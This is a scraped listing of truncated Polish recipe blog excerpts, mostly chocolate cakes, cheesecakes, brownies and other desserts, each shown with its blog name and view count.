Kokosowy tort Rafaello 129

upieczeniu odstawić do wystudzenia. Masa; 750 ml słodkiej śmietanki, 30-36% 3 śmietany śnieżki w proszku 5 opakowań śmietan fixu 20 dag wiórków kokosowych 3 białe czekolady Dodatkowo kilka łyżek kokosu do obsypania tortu i kuleczek.    1. Czekoladę rozpuszczamy na parze, a następnie odstawiamy do wystudzenia. Ubijamy śmietanę, a następnie dodajemy śmietanę śnieżkę w proszku oraz śmietan(...)dokładnie miksujemy. Do masy śmietankowej przelewamy wystudzoną czekoladę oraz wiórki kokosowe i dokładnie miksujemy. 2. Gotową masę przekładamy blaty, łopatką smarujemy boki. Z pozostałej masy formujemy małe kuleczki, obtaczamy je w kokosie i dekorujemy tort.  Jeśli macie orzechy to do każdej kuleczki można dodatkowo włożyć jeden do środka

Apetyczna babeczka
Serniczki z borówkami, ricottą, białą czekoladą i bananami 194

kilka minut. Po godzinie można już delektować się ich smakiem.... Ja jednak wolę schłodzone. Składniki: 500 g ricotty 2 duże dojrzałe banany 2 jajka 120-150 g białej czekolady 1/2 szklanki słodkiej śmietanki 250 g borówek amerykańskich Czekoladę połamać i rozpuścić w śmietance (w kąpieli wodnej lub kuchence mikrofalowej). Banany zmiksować na mus. Ostudzoną czekoladę wymieszać dokładnie z rozkłóconymi

Czerwień i błękit
Trój czekoladowe brownie z jezzynami czyli poWeekendowe Łakocie odc. 193

Genialnie proste i obłędnie czekoladowe!  Słodycz czekolady pieknie równoważą kwaśne jeżyny :) Trój czekoladowe brownie z jeżynami 150 g masła 150 g cukru 75 g kakao kilka kropli ekstraktu waniliowego 3 jajka 75 g mąki pszennej po tabliczce białej i mlecznej czekolady, posiekane garść jeżyn Piekarnik nagrzewamy do 170 st.C. W rondelku podgrzewamy masło z cukrem i kakao. Masło(...)cukier powinny się rozpuścić. Lekko studzimy. Masę przelewamy do miski, dodajemy ekstrakt i jajka i mieszamy. Przesiewamy mąkę, mieszamy, dorzucamy czekoladę i łączymy ją z ciastem. Masę przekładamy do keksówki wyłożonej papierem do pieczenia. Jeżyny wtykamy w ciasto. Pieczemy ok 35 minut tak by środek ciasta zaczął się podnosić. Zostawimy do całkowitego ostygnięcia przed pokrojeniem na kromki

Dzieje kuchennej Wiewióry
Zdrowy snikers bez cukru i mleka 197

orzechów ziemnych (waga po obraniu). Orzechy możesz wcześniej podprażyć na suchej patelni Polewa czekoladowa 1 łyżka oleju kokosowego 2 łyżki kakao 1 łyżeczka ksylitolu lub kilka kostek dobrej, gorzkiej czekolady o wysokiej zawartości kakao Przygotowanie 1.   Zmiksowane na pył płatki (lub mąkę) połącz z olejem, żółtkami i jajkiem. Wyrób na gładką masę (może się lekko kruszyć) 2. Piekarnik rozgrzej(...)zamrażarki lub na dłużej do lodówki. 8. Przygotuj polewę czekoladową: Olej kokosowy rozpuść w kąpieli wodnej, następnie dodaj kakao i ksylitol. Energicznie wymieszaj do uzyskania gładkiej konsystencji. LUB Czekoladę rozpuść w kąpieli wodnej. 9. Wyjmij ciasto z zamrażarki, pokrój na podłużne kawałki (8 pasków), następnie każdy z nich na pół. 10. Batony polej lub posmaruj czekoladą/polewą. 11. Trzymaj

Powiedz dietom nie
Sernik Bounty 3242

polecam!) i wyszło istne niebo w gębie :) Konsystencja jak dla mnie idealna - kremowy, wilgotny, ale nie zbity i ciężki. A do tego ten cudowny, lekko kokosowy smak i mleczna czekolada... Bajka! SKŁADNIKI: (na tortownicę 26-28 cm) SPÓD:     1 op.  czekoladowych Hitów (najlepiej wersja XL ok 250 g) SER:   1 kg twarogu sernikowego (u mnie(...)mąki pszennej (z lekkim czubkiem) 2 łyżki mąki ziemniaczanej (z lekkim czubkiem)  1 szkl wiórek kokosowych (u mnie od SKWORCU ) 2/3 szkl likieru kokosowego   WIERZCH:   1 czekolada mleczna 60 ml śmietanki 30% wiórki kokosowe do dekoracji   1. Wiórka kokosowe zalać likierem, wymieszać, odstawić na min 30 minut, najlepiej ok 2 godziny (a można nawet na całą

Kto ugości moich gości?
Sernik amerykański 134

blaszki:) Składniki: spód: opakowanie okrągłych biszkoptów (125 g) 2 łyżki stopionego masła łyżka wody łyżeczka zapachu cytrynowego masa sernikowa: 0,5 kg zmielonego sera twarogowego 100 g gorzkiej czekolady 1/4 szklanki śmietany 30% 1 łyżeczka zapachu waniliowego 3 jajka 2 łyżki skondensowanego mleka słodzonego 3 łyżki cukru do białek 1 łyżka cukru do żółtek Sposób przygotowania: Biszkopty zmielić w malakserze(...)masa stanie szklista i gęsta. Żółtka ubić z cukrem i mlekiem, aż masa nabierze bladego koloru i wyraźnie powiększy swoją objętość. Masę żółtkową dodać do sera i dokładnie wymieszać. Czekoladę rozpuścić w kąpieli wodnej. Odlać jedną szklankę masy serowej i wymieszać ją z roztopioną czekoladą. Ubitą pianę połączyć z resztą masy serowej i dokładnie wymieszać. Na masę ciasteczkową wyłożyć masę

na moim stole...
Czekośliwka, czyli domowa Nutella ze śliwek 474

Spróbujcie koniecznie! :) Nutella ze śliwek – Składniki: 1 kg śliwek węgierek 1 szklanka cukru 1 opak. cukru wanilinowego (16g) 2 pełne łyżki ciemnego, gorzkiego kakao w proszku 100g mlecznj czekolady Nutella ze śliwek – Wykonanie: Śliwki pokroić na pół i pozbawić pestek. Wrzucić do blendera i zmiksować na jednolitą masę. Zblendowaną masę przełożyć do garnka z grubym dnem, dodać zwykły(...)bardzo małym ogniu, co jakiś czas mieszając, by się nie przypaliły. Gotować do czasu aż odparują i zgęstnieją. Następnie dodać przesiane przez sitko kakao i połamaną na kostki czekoladę. Zagotować ponownie czekośliwkę . Nutella ze śliwek powinna mieć kremową konsytencję. Na koniec przełożyć Nutellę ze śliwek do słoiczków. Jeśli nie zamierzmy zjeść jej od razu, to warto ją zapasteryzować

Kulinarne Przeboje
Tarta z kremem śmietanowym z mascarpone i białą czekoladą z sezonowymi owocami 98

mąki 2 łyżki cukru 1 jajko 2 żółtka 200 gram masła szczypta soli Na krem: 500 ml śmietany kremówki (36%) 250 g serka mascarpone 1,5 tabliczki czekolady białej Dodatkowo: sezonowe owoce - jeżyny, truskawki, maliny, porzeczki Przygotowanie: Składniki na kruche ciasto - mąkę, sól, cukier, jajka, masło, wyrobić na gładką masę. Owinąć w folię i wstawić na minimum(...)minut do lodówki. W tym czasie można przygotować krem.  Rozpuścić w kąpieli wodnej białą czekoladę. Ubić śmietanę kremówkę. Dodać mascarpone i l i lekko zmiksować, a następnie dodać białą czekoladę. Wstawić do lodówki. Wyjąć z lodówki ciasto. Rozwałkować. Wysmarować formę olejem i posypać mąką, Przełożyć ciasto do formy.  Po nakłuwać widelcem ciasto i wstawić

Gotowanie, czyli hobby dla każdego
czekoladowe trufle z bakaliami i rumem 92

bakaliowe trufle Smak i aromat gorzkiej czekolady, zmieszany z siekanymi bakaliami i orzechami. A wszytko  połączone  z odrobiną rumu.  Czy trzeba pisać coś więcej?. składniki 150 g gorzkiej czekolady 50 g masła 150 ml słodkiej śmietany 30% 50 ml rumu 60 g cukru pudru 80 g kakao 100 g bakalii sposób przygotowania Do miski wsypujemy pokruszoną czekoladę

Miód i pieprz
Ciateczkowy pingwin z masła orzechowego 130

prawie cały słoik=4-5 opiastych łyżek 60 g masła, w temperaturze pokojowej 1 szklanka miałkiego brązowego cukru 2 duże jajka 1 łyżeczka ekstraktu z wanilii 1 tabliczka czekolady mlecznej 1 tabliczka czekolady gorzkiej   Wykonanie: 1. Do wysokiej miski/gara (wysokiej, serio, przy niskich rozmiarach naczynia masz gwarantowane sprzątanie kuchni) wrzuć masło , masło orzechowe i cukier . Utrzyj masła(...)Dodaj sodę oczyszczoną i wymieszaj ją z mąką. 4. Dorzuć do gara z masą właściwą maślaną mąkę.     Zmiksuj bądź dokładnie wymieszaj. 5. Posiekaj drobno czekolady .     Dorzuć do masy. Nie miksuj.     Dobrze wymieszaj. 6. Nadaj ciasteczkom kształt jaki chcesz uzyskać.      Np. pingwinka, kuleczki bądź standardowy kształt ciasteczek

Fiolka w kuchni
Ciasto marchewkowe z mleczną czekoladą i pistacjami 104

podstawkami pod kubek kawy gdy chcesz ją trzymać w łóżku.(podkładki są zdecydowanie przereklamowane). Ciasto marchewkowe też lubię. Ciężkie,mokre,klejące się do palców. Wypełnione jabłkami,ananasem,pistacjami i czekoladą. Szczególnie jedzone wspólnie o godzinie w jakiej normalni ludzie w niedzielę jeszcze smacznie śpią. Składniki (baza) Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable(...)łyżka kopiasta żytniej) pół szklanki cukru brązowego 1 łyżeczka sody oczyszczonej bądź proszku do pieczenia 1/3 szklanki oleju rzepakowego 2 jajka, Dodatki 1/2 szklanki pistacji 1 tabliczka czekolady (użyłam pół mlecznej i pół gorzkiej goplany) pół szklanki posiekanych ananasów pół startego i odsączonego bądź posiekanego jabłka 1 szklanka startej na średnich oczkach marchewki Przyprawy 1 łyżeczka cynamonu 1łyżeczka przyprawy

Fiolka w kuchni
Comfort drink czyli kakao cywilisty na dzień dziecka raz! 118

nadal słyszmy "dlaczego nie odbierasz? Martwiłam/Martwiłem się! Aaa zajęcia miałaś/miałeś? Pracowałaś/łeś?. No tak..." . Dlatego dostajemy od nich życzenia. Czasami przelew na konto,książkę,dobra czekoladę,ciasto czy ulubiony obiad bądź paczkę z rogalikami/słoikami/pierogami słaną na drugi koniec polski przesyłką konduktorską. To nie to co kiedyś gdy w ten dzień - obowiązywała dieta lodowa(...)kakao jednoosobowego pomnożyć składniki i zrobić coś dla rodziców? Istne comfort drink . To co - dzisiaj jedna porcja czy trzy? Składniki kubek/szklanka mleka krowiego bądź roślinnego kopiasta łyżeczka kakao starta czekolada mała płaska łyżeczka cukru/ksylitolu bądź miodu opcjonalnie : cynamon kardamon anyż przyprawa do piernika wanilia łyżka rumu łyżka słodkiego syropu smakowego Wykonanie: 1.Mały rondelek przepłucz wodą. Wlej do niego mleko

Fiolka w kuchni
Jesienny chlebek bananowy z jablkami, orzechami i czekolada czyli (po)Weekendowe Lakocie odc.95 125

pogodzić oba smaki i powstał ten oto chlebek. Bardzo wilgotny, niesamowicie smaczny i pachnący. Nawet Małzonowi smakował mimo orzechów, których nie lubi :) Jesienny chlebek bananowy z jablkami, orzechami i czekolada 200 g mąki pszennej 15 g kakao 5 g cynamonu szczypta kardamonu po płaskiej łyżeczce proszku do pieczenia i sody 100 g masła 125 g cukru trzcinowego 2 jajka(...)bardzo dojrzałe banany po garści posiekanej grubo czekolady i orzechów włoskich 1 duża antonówka pokrojona w kostkę Piekarnik nagrzewamy do 180 st.C. Keskówkę wykładamy papierem do pieczenia. W misce ucieramy masło z cukrem na puszysta masę. Dodajemy jajka i mieszamy. Do miski przesiewamy mąkę, kakao, przyprawy oraz proszek i sodę. Wszystko mieszamy lub miksujemy. Dodajemy rozgniecione banany a następnie orzechy

Dzieje kuchennej Wiewióry
Brownie 101

mieście a w mojej kuchni nigdy nie gościło. Jestem oczarowana tym jakie pyszne wyszło. Ciężkie, zwarte ale zarazem smaczne. Składniki (użyłam tortownicy o średnicy 28 cm): 150 gram czekolady 77% 200 gram masła 150 gram cukru 120 gram mąki (użyłam żytniej) szczypta soli 3 jajka 2 łyżki kakao + starta czekolada do posypania z wierzchu Piekarnik nagrzewamy do 180 stopni (góra(...)ół). Czekoladę rozpuszczamy z masłem w kąpieli wodnej utrzymując średnią temperaturę. Do rozpuszczonej mieszanki dodajemy cukier i dokładnie mieszamy. Następnie dodajemy jajka, mąkę, sól oraz kakao. Dokładnie mieszamy. Ciasto wlewamy do blaszki wyłożonej papierem do pieczenia i pieczemy w piekarniku przez 18-20 minut. Studzimy. Smacznego, Klaudia

Mango Papaja
Torcik Wuzetka 327

pieczenia 0,5 litra śmietany 30 % 1,5 łyżki żelatyny + 1/3 szkl wrzątku 3 duże łyżki cukru pudru Dżem z czarnej porzeczki lub wiśni wiśnie z nalewki 200 gr czekolady gorzkiej + 3 łyżki śmietanki 30% ciasto nasączyłam lekko rozrobiona nalewką wiśniową 1. Białka oddzielić od żółtek i ubić dodając pod koniec cukier, następnie miksując na wolnych obrotach dodawać po jednym(...)zostawić sobie z około 4-5 łyżek do kleksów na górę ciasta !) Przykrywamy drugim blatem lekko dociskając. Wstawiamy do lodówki. 4. Podgrzewamy śmietanę z połamana  na kostki czekoladą starając się nie doprowadzić do wrzenia ! Czekamy do całkowitego rozpuszczenia. Odstawiamy do przestudzenia. Następnie taka przestudzona polewą oblewamy nasze ciacho ;) Odstawiamy na chwile do lodówki aby czekolada lekko zastygła, następnie już

Gotowanie...to proste !
.1085. bułeczki na sobotę 165

czego treści odniosę się w tym poście, a nie w samej odpowiedzi pod poprzednim postem, bo uważam, że to ważny temat który mozna poruszyć :) "(...)Ale kurczę, tak na przykład czekolada ritter, albo milka oreo. Nie powiesz mi że Ci nie smakują? (powiesz...?!) Nie będzie Ci ich brakowało? Nie będziesz czuć się ograniczona? Zawsze będziesz miała czas na wegańskie gotowanie? Jajka(...)omlety bez jajka? Wybacz ciekawość, ale zawsze chciałam poznać odpowiedzi na te pytania do wegan (...)" Szczerze mówiąc do słodyczy jakoś mnie nie ciagnie, zamiast milko oreo wolałabym zjeść gorzką czekoladą, która smakuje mi o wiele bardziej. Btw., Ritter ma dwa rodzaje (albo i trzy?) wegańskiej czekolady :) Punkt drugi - wegańskie gotowanie. Nie wiem czym różni się od "nie-wegańskiego". Nie jest

breakfast of dreams
Murzynek z orzechami i gruszkami. 113

Pamiętacie murzynek z jabłkami?Szybki i zawsze pyszny!Dziś zrobiłam go z orzechami i gruszkami z kawałkami gorzkiej czekolady(niemal brownie!) i mówię Wam warto było! SKŁADNIKI: 6 jaj 1,5 szkl cukru 2 i 3/4 szkl. mąki 2 cukry waniliowe proszek do pieczenia (30 gr.) 3 czubate łyżeczki kakao 1 łyżeczkę sody  1 szkl. oleju 6 gruszek(...)ubijamy, dodajemy żółtka, cukier, cukier waniliowy, proszek do pieczenia i sodę, cały czas miksujemy, dodajemy łyżkami mąkę, kakao miksując,  wlewamy powoli olej, dodajemy pokruszone orzechy i kawałki gorzkiej czekolady, do wymieszanego ciasta (na wierzch)dodajemy  pokrojone gruszki, pieczemy w rozgrzanym do 180 stopni piekarniku(góra/dół- bez termoobiegu) 45 min. Posypać cukrem pudrem lub polać czekoladą

Kuchnia Beaty
Sernik kawowy z czekoladą 162

Pyszny, kremowy sernik, intensywnie kawowy z dodatkiem gorzkiej czekolady. W całym domu pięknie pachnie kawą podczas pieczenia tego serniczka ;).  Serdecznie polecam wypróbować, szczególnie smakoszom kawowo-czekoladowych smaków! Składniki: Ciasteczkowy spód: 180 g ciastek pełnoziarnistych, np. digestive 60 g roztopionego i ostudzonego masła Masa serowa: 750 g zmielonego twarogu (może być z wiaderka) 250 g serka mascarpone 4 jajka(...)szklanki drobnego cukru do wypieków 200 g rozpuszczonej i ostudzonej gorzkiej czekolady 2 łyżki mąki pszennej 4 łyżki kawy rozpuszczalnej w proszku 1 łyżka likieru kawowego Dodatkowo: sos karmelowy/ polewa czekoladowa itp. Przygotowanie: 1. Ciasteczkowy spód: Ciastka pokruszyć na piach (za pomocą wałka lub malaksera). Dodać do nich masło i wymieszać do otrzymania konsystencji mokrego piasku. Masę ciasteczkową umieścić

Nastoletnie Wypiekanie
Prince Polo z brzoskwiniami 250

Dzisiaj zapraszam na ciasto Prince Polo z brzoskwiniami . Delikatny, puszysty biszkopt z dodatkiem batoników, czekolady i brzoskwiń jest idealny do popołudniowej kawy. Składniki: Biszkopt: 6 jajek 1,5 szklanki cukru 1,5 szklanki mąki tortowej 2 łyżki mąki ziemniaczanej 2 łyżeczki proszku do pieczenia Masa: 1 litr śmietany kremówki 36% 2 opakowania śmietan-fix 2 łyżki cukru pudru(...)mlecznej czekolady 3 batony Prince Polo classic XXL puszka brzoskwiń Jajka ubijamy z cukrem na puszystą masę. Oba rodzaje mąki i proszek do pieczenia przesiewamy przez sito. Dodajemy do ubitych jajek - po jednej łyżce delikatnie mieszając. Ciasto wlewamy do blaszki (25x40 cm). Pieczemy 35 minut w temperaturze 180 stopni. Po ostudzeniu nasączamy sokiem z brzoskwiń. Śmietanę ubijamy, dodając cukier puder

Salonik smaków
Muffinki z malinami i białą czekoladą 172

Muffinki z malinami i białą czekoladą Witam wszystkich serdecznie,mam dla was dzisiaj kolejny przepis na muffinki. Tym razem z malinami ponieważ mam ich bardzo dużo teraz w ogrodzie  i poza sokami  trzeba jakoś je wykorzystać. Muffinki to słodkości ,które robię bardzo często-bo są banalne do przygotowania,tanie, szybko się je robi(więc super nawet dla niezapowiedzianych(...)łyżeczki proszku do pieczenia 3/4 szkl. cukru 1 cukier waniliowy 2 jajka 1 szkl. mleka 1/2 szkl. oleju 25 dkg malin(mogą być również mrożone) 1 tabliczka białej czekolady szczypta soli PRZYGOTOWANIE: Tak jak większość muffinek-mokre składniki w jednej misce,suche w drugiej misce, czyli-mąka,cukry,sól,proszek do pieczenia,rozdrobniona czekolada,maliny(jak mrożone to wcześniej

Swojskie jedzonko
Rurki ze śmietaną i czekoladą 336

mąki pszennej typ 500  250 g gęstej śmietany 18% 200 g margaryny  szczypta soli cukier waniliowy 30 g cukier do obtaczania rurek Dodatkowo: czekolada 100 g mleko 2 łyżki  Wykonanie rurek :   Do misy wsypujemy mąkę przesianą . Dodajemy cukier waniliowy . Margaryna miękka pokrojona w kostkę. Śmietana kwaskowa   Szczypta soli Zagniatamy ciasto i do woreczka(...)blaszkę wyłożoną papierem do pieczenia. Smarujemy rozbełtanym jajem i posypujemy cukrem. Pieczemy w 200 stopniach koło 20 minut. Nadziewamy czym chcemy u mnie akurat to śmietana , dodatkowo polane czekoladą . Polewa : Czekoladę rozpuszczamy z dwiema łyżkami mleka.  Piekły ze mną

Różowa kuchnia
Placek cappuccino z kokosem 442

najprostszych i do najszybszych, ale za to smak....jest nieziemski. Czekoladowy biszkopt, przekładany masą z kawą cappuccino, a po środku beza kokosowa, no i oczywiście wszystko oblane czekoladą...Polecam. Składniki: biszkopt: 6 jajek 225g cukru 110 g mąki pszennej płaska łyżeczka proszku do pieczenia 2 płaskie łyżki kakao opakowanie cukru waniliowego masa cappuccino: 5 żółtek cukier waniliowy 3 łyżki(...)mleka pół szklanki cukru 250 g margaryny 4 łyżki kawy cappuccino beza kokosowa: 5 białek szklanka cukru 200 g wiórków kokosowych łyżeczka proszku do pieczenia polewa: 2 tabliczki gorzkiej czekolady 2 łyżki masła Sposób przygotowania: Biszkopt Oddzielić białka od żółtek. Białka ubić ze szczyptą soli na sztywno. Dodawać po łyżce cukru, cały czas miksując na najwyższych obrotach. Kiedy piana będzie

na moim stole...
Trufelki kokosowe 145

razem spróbowałam zrobić trufelki bardzo przypominające przepyszne Raffaello.  Można wzbogacić je migdałem i pokruszonymi wafelkami typu princessa. Na pewno powtórzę wyrób, wtedy już z dodatkami :) Składniki: 200g białej czekolady 60ml kremówki 2 łyżki likieru kokosowego 1 łyżka masła wiórki kokosowe do obtoczenia EWENTUALNIE: 1 wafelek kokosowy typu princessa zmielony na mniejsze kawałki migdały blanszowane Przygotowanie: Czekoladę połamać na małe(...)kawałki, wsypać do rondelka, zalać kremówką i podgrzewać w kąpieli wodnej lub na maleńkim gazie, aż czekolada się rozpuści i połączy ze śmietanką. Kiedy masa będzie gładka, dolać likier i dodać masło, rozmieszać, aby masło się rozpuściło (teraz można dosypać wafelek). Masę przelać np. do prostokątnej formy wyłożonej folią spożywczą, schować do lodówki na 1-2 godziny*. Kiedy masa będzie

Cakes By Kejt
Miętusek 440

Zauważyliście, że ostatnio w sieci panuje moda na ciasto miętowe? Wiele jest przepisów więc i ja postanowiłam stworzyć swoją wersję. Troszkę miętowej pianki, posmak jabłuszka i gorzka czekolada stanowią idealne połączenie. Wypróbujcie koniecznie! Pyszne! Wszyscy robię Miętuska! Robię i ja! :) Miętusek Składniki 90 g landrynek miętowych, 4 śnieżki, 3 galaretki o smaku miętowo-jabłkowym, 100 g (tabliczka) gorzkiej czekolady(...)szklance wrzątku. Biszkopty układamy na tortownicy wyłożonej papierem do pieczenia. Śnieżki ubijamy z mlekiem, dodajemy tężejącą galaretkę i ostudzony syrop z cukierków. Całość dokładnie mieszamy. Na koniec dodajemy starkowaną czekoladą, mieszamy i przekładamy naszą masę na biszkopty. Ciasto wkładamy do lodówki na minimum godzinę. Ostatnią galaretkę rozpuszczamy w 1,5 szklanki wrzątku, studzimy i tężejącą wylewamy na ciasto. Miętuska wkładamy

paapilotkaa
Murzynek korzenny z żurawiną i powidłami 176

pieczenia pół łyżeczki soda pół łyżeczki  spirytus 50 ml   Dodatkowo:   powidła śliwkowe  5 łyżek żurawina suszona 1 szklanka Kłos  - Pol   Dekoracja:   czekolada mleczna 200 g mleko 3 łyżki gwiazdki dekoracyjna ( tyle ile chcesz)      Wykonanie Murzynek korzenny z żurawiną i powidłami :   Do wysokiego garnka wkładam margarynę , wsypuje cukier, wlewam(...)masy i delikatnie mieszam.   Przekładam masę do formy od kek-sówki wyłożonej papierem do pieczenia. Piekę koło godziny w 180 stopniach. Kiedy murzynek ostygnie polewam go rozpuszczoną czekoladą z mlekiem w kąpieli wodnej. Obsypuje gwiazdkami i zostawiam do zastygnięcia czekolady

Różowa kuchnia
Murzynek korzenny z żurawiną i powidłami 147

łyżki proszek do pieczenia pół łyżeczki soda pół łyżeczki    Dodatkowo:   powidła śliwkowe  5 łyżek żurawina suszona 1 szklanka Kłos  - Pol   Dekoracja:   czekolada mleczna 200 g mleko 3 łyżki gwiazdki dekoracyjna ( tyle ile chcesz)      Wykonanie Murzynek korzenny z żurawiną i powidłami :   Do wysokiego garnka wkładam margarynę , wsypuje cukier, wlewam(...)masy i delikatnie mieszam.   Przekładam masę do formy od kek-sówki wyłożonej papierem do pieczenia. Piekę koło godziny w 180 stopniach. Kiedy murzynek ostygnie polewam go rozpuszczoną czekoladą z mlekiem w kąpieli wodnej. Obsypuje gwiazdkami i zostawiam do zastygnięcia czekolady

Różowa kuchnia
Czekoladowe naleśniki 153

było z tymi naleśnikami . Dopiero za czwartym razem udało mi się odtworzyć smak pierwszych naleśników. Dlatego zapiszę skład tu i będę miała z głowy. Składniki 1/2 tabliczki gorzkiej czekolady 2 jajka mąka 1 szklanka mleka 1 łyzka oliwy 1 opakowanie serka chudego ( moze być inne nadzienie) 2 łyżki cukru pudru 1 lyżka śmietany  Wykonanie Krok 1 . do rondelka wlewamy(...)mleko ,wrzucamy połamana czekoladę . Kładziemy na palnik i mieszamy do chwili kiedy czekolada rozpuści się. Otrzymany płyn czekoladowy przestudzamy. Krok 2 . Do ostudzonego płynu dodajemy 2 żółtka i mieszamy aż rozpuszczą się ,teraz wsypujemy mąkę . Partiami ,cały czas mieszamy. Ciasto mysi mieć gęstość greckiego jogurtu. Krok 3 .  Z białek ubić piane i dodać do ciasta . Ciasto musi mieć gęstość

Eli Gotowanie
Świąteczne ciasteczka cz. III - Ciasteczka z przygodami 125

polukrowanie. W każdym razie ciasteczka są naprawdę warte spróbowania i gorąco je polecam, jeśli już nie na święta, to na Sylwestra. Przepis radośnie podpatrzony u Bei . Brunsli 100g gorzkiej czekolady 250g zmielonych migdałów 150g cukru 2 łyżki kakao 2 łyżki mąki 1/4 łyżeczki cynamonu spora szczypta mielonych goździków szczypta soli 2 białka 2 łyżeczki ulubionego alkoholu Czekoladę rozpuścić na parzę(...)odstawić do wystygnięcia. Suche składniki wymieszać. Białka ubić na piankę i dodać do suchych składników, następnie dodać przestudzoną lekko czekoladę i alkohol. Wszystko dokładnie wymieszać, po czym wstawić do lodówki, bo inaczej cisto absolutnie odmawia współpracy i nie chce dać się rozwałkować. Po około 1 godzinie, rozwałkować ciasto na stolnicy obsypanej cukrem, na grubość ~1 cm i wykrawać ciasteczka. Zostawić

Przepysznik - BLW i nie tylko
Węgry: Gundel palacsinta 194

nieszczęście zdarzyło się to po śmierci księcia, największy węgierski szef kuchni, wspomniany wyżej Karol Gundel, stworzył niebiańskie połączeni e palacsinta (od łacińskiego placenta, czyli cienkie ciasto), orzechów i czekolady. Przepis jest prosty i zdecydowanie wart wypróbowania, szczególnie dla każdego kto lubuje się w naleśnikach i/lub deserach. Gundel palacsinta (porcja dla 2 osób) 4 naleśniki (np. z TEGO przepisu) Farsz: 100g(...)soku z cytryny 1/2 szkl. cukru pudru 5 łyżek śmietany 30% (ja użyłam kwaśnej 18% i też wyszły przepyszne) 1 kieliszek rumu 2 łyżki masła Sos czekoladowy: 50g gorzkiej czekolady 2 łyżki śmietany kremówki 2 łyżki cukru pudru kieliszek rumu   Orzechy zmielić na drobno, rodzynki sparzyć. Wszystkie składniki na farsz wymieszać na jednolitą pastę i posmarować nią każdy naleśnik

Przepysznik - BLW i nie tylko
Babka dyniowo-czekoladowa 127

soli 1 łyżeczka cynamonu 1/2 łyżeczki imbiru 250g masła 1 szkl. cukru pudru 1/2 szkl. brązowego cukru 2 łyżki cukru waniliowego 4 jajka 400g startej lub ugotowanej dyni 50g czekolady gorzkiej W jednej misce wymieszać suche składniki, mąkę i przyprawy, w drugiej utrzeć masło, dodać po trochu cukier, wbić po jednym jajka, a następnie w trzech turach dodać suche składniki(...)przemian z masą dyniową. Czekoladę rozpuścić na parzę i dodać do niej jedną szklankę ciasta. Piekarnik rozgrzać do 180 C. Foremkę do babki (najlepiej taką z kominkiem) wysmarować masłem i posypać bułką tartą. Na dno wyłożyć jedną szklankę jasnego ciasta i małą łyżeczką wyżłobić rowek w samym środku. Rowek wypełnić ciastem z czekoladą. Na wierzch wyłożyć resztę jasnego ciasta. Wstawić

Przepysznik - BLW i nie tylko
Mazurek pomarańczowy 140

Będzie to naprawdę pyszny, ale też dość specyficzny mazurek pomarańczowy. Masa jest oczywiście lekko gorzkawa, jak to bywa z pomarańczową konfiturą, ale w połączeniu z gorzką czekoladą, smakuje naprawdę obłędnie. Wszystkim życzę wesołych, spokojnych i ciepłych świąt Wielkanocnych! Mazurek pomarańczowy (na formę 26x35cm) Ciasto 375g mąki 200g masła 2 łyżki miodu jajko 2 żółtka 5 łyżek zimnej wody Masło posiekać(...)się jeśli w czasie pieczenia na powierzchni ciasta pojawi się coś w rodzaju piany, tak ma być. Nadzienie i dekoracja 2 duże pomarańcze cytryna 20 dag miodu dobra gorzka czekolada migdały lub inne ulubione bakalie Pomarańcze i cytrynę wykąpać w wodzie z octem (Naya pisała TUTAJ na ten temat), po czym przepłukać pod kranem, osuszyć i zetrzeć skórkę. Następnie obrać

Przepysznik - BLW i nie tylko
Grillowane banany z imbirem, miętą... 96

rzucić banany. Czyli tropikalnie w polskim wydaniu ;-) Banany oczywiście najlepiej smakują na ciepło ale sami spróbujcie ;-)         Składniki na trzy porcje;   3 banany 3 kostki czekolady 3 łyżeczki miodu (ja uzyłam syropu z mniszka lekarskiego) startą łyzeczke świeżego imbiru 1 łyzeczka posiekanej miety   Banany naciąc wzdłuż, miód, imbir i mięte dokładnie wymieszać. Skóre delikatnie(...)rozchylić i włozyc do srodka kostke czekolady oraz 2 łyżeczki powstałej mieszanki, należy jąrozprowadzic na całej długości banana. Nastepnie banany zawinąć w folie aluminiowa i ustawić tak aby zawartość z nich nie wypłynęła. Grillowac z kilka minut do momentu rozpuszczenia czekolady. Banay można również przygotować w piekarniku nagrzanym do 180C.     Smacznego! no i miłego grillowania

Radość kipiąca uśmiechem.
Szybki torcik truskawkowy bez pieczenia 230

lekki deser, a  inspiracji wystarczy poszukać w ogrodzie czy sadzie. Dzisiaj prezentuje wam mój kolejny truskawkowy pomysł na niedzielny deser. W dalszym ciągu trzymam się połączenia truskawki i czekolady.  Składniki na tortownicę o  średnicy 30 cm 700 ml śmietany 30% 3 łyżki cukru pudru 500 g truskawek paczka herbatników 3 śmietany-fix  3 tabliczki czekolady mlecznej(...)razem dokładnie mieszamy a następnie przelewamy do przygotowanej tortownicy (można odłożyć trochę masy do dekoracji) . Torcik wkładamy do lodówki na kilka godzin, gdy masa zesztywnieje możemy polecać ją roztopioną czekoladą. jeśli nie lubicie bardzo słodkich deserów zamiast mlecznej możecie użyć  deserowej lub gorzkiej. Gdy polewa zastygnie, torcik dekorujemy resztą truskawkowej masy. Smacznego

ciastkarnia na kruchym spodzie
Ciasto 3 Bit 2272

Bardzo popularne ciasto, które zachwyca swoim smakiem, zbliżonym do batonika 3 bit. Składa się z 3 warstw herbatników, kajmaku, masy budyniowej, bitej śmietany i startej, ciemnej czekolady. Nie wymaga pieczenia, doskonałe na każdą okazję. Ciasto najlepiej przygotować dzień wcześniej, by herbatniki zmiękły. Gorąco polecam! :D Składniki: Masa budyniowa: 2 szkl mleka 1/4 szkl cukru  2 żółtka 3 łyżki mąki(...)pszennej  180 g miękkiego masła Dodatkowo: 1 puszka masy krówkowej (400-500 g) 500 ml śmietanki kremówki 36% 1 śmietan – fix 1-2 łyżki cukru pudru 1 gorzka czekolada, starta na drobnych oczkach 75 sztuk herbatników (około 400 g) Przygotowanie: 1. Masa budyniowa: 1 ½ szkl mleka zagotować razem z cukrem. W reszcie mleka rozpuścić obydwie mąki oraz żółtka. Dokładnie

Nastoletnie Wypiekanie
Ciasto czekoladowe z borówkami 205

